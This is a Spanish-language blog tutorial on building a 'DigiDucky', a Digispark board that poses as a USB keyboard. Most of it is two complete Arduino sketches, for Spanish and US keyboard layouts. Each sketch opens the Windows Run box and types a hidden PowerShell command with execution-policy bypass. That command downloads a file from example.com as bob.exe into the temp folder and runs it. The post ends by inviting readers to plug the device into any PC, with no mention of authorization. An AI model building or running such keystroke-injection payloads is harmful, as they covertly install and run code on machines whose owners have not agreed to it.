DigiDucky desde 0 hasta la intrusion

 

Explicaremos cómo hacer un DigiDucky (alternativa al RubberDucky más economica).

Qué necesitaremos para realizar este pequeño DigiDucky:

  • Comprar la placa, presentamos éstas alternativas; opción uno y opción dos
  • Preparando el ambiernte para el desarrollo:
    a – Instalar el IDE de arduino. Descargar
    b – Instalar Drivers de Digispark y las dependencias del ide más las librerias. Tutorial.
  • El codigo:

Payload original:

GUI r DELAY 100 STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\"" ENTER

Usaremos la libreria DigiKeyboard.h, está hecha para teclados con distribucion US y no para teclados españoles.

Para crear scripts para teclados españoles dbemos testear hasta encontrar el caracter que buscan.

Codigo para el IDE de arduino (distribución es-ar).

#include "DigiKeyboard.h"
 
#define KEY_MODIFIER_LEFT_GUI 0x08
 
int ciclos = 0;
 
void setup() {
  pinMode(1, OUTPUT);     // INICIAMOS EL PIN 1 (LED)
  digitalWrite(1, HIGH);  // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
}
 
void loop() {
  DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado
 
  if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
    DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia
 
    DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
    
    //Codigo Payload: GUI r
    DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R
 
    //Codigo Payload: DELAY 100
    DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)
 
    //Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
    DigiKeyboard.print("powershell /NoP /NonI /W Hidden /Exec Bypass @IEX *New/Object System.Net.WebClient(.DownloadFile*-http>&&example.com&bob.txt-,@$env>temp");
    DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
    DigiKeyboard.print("bob.exe@(< Start/Process @$env>temp");
    DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
    DigiKeyboard.print("bob.exe@@");
 
    DigiKeyboard.delay(100); // Esperamos 100ms
 
    //Codigo Payload: ENTER
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
    
    DigiKeyboard.delay(100); //Esperamos 100ms
  }
 
//SEÑAL LUMINICA (PARPADEO)
//Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
  delay(150);
  digitalWrite(1, HIGH); 
  delay(150);
  digitalWrite(1, LOW); 
//SEÑAL LUMINICA
     
  ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
}

Codigo para el IDE de arduino (distribución us).

#include "DigiKeyboard.h"
 
#define KEY_MODIFIER_LEFT_GUI 0x08
 
int ciclos = 0;
 
void setup() {
  pinMode(1, OUTPUT);     // INICIAMOS EL PIN 1 (LED)
  digitalWrite(1, HIGH);  // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
}
 
void loop() {
  DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado
 
  if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
    DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia
 
    DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
    
    //Codigo Payload: GUI r
    DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R
 
    //Codigo Payload: DELAY 100
    DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)
 
    //Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
    DigiKeyboard.print("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\"\"");
 
    DigiKeyboard.delay(100); // Esperamos 100ms
 
    //Codigo Payload: ENTER
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
    
    DigiKeyboard.delay(100); //Esperamos 100ms
  }
 
//SEÑAL LUMINICA (PARPADEO)
//Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
  delay(150);
  digitalWrite(1, HIGH); 
  delay(150);
  digitalWrite(1, LOW); 
//SEÑAL LUMINICA
     
  ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
}
  •  Compilar y subir: Colocamos subir en el IDE de arduino y ahi conectamos el Digispark para que se grabe el script.
  • A divertirse: Conecten el DigiDucky en cualquier pc y vean la magia!

Agradecemos a 79137913 por traer la alternativa DigiDucky.


Posts Relacionados

Comments

comments

Deja una respuesta

Tu email no será publicado. Los campos requeridos estan marcados con *
Puedes usar tags HTML y los atributos: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>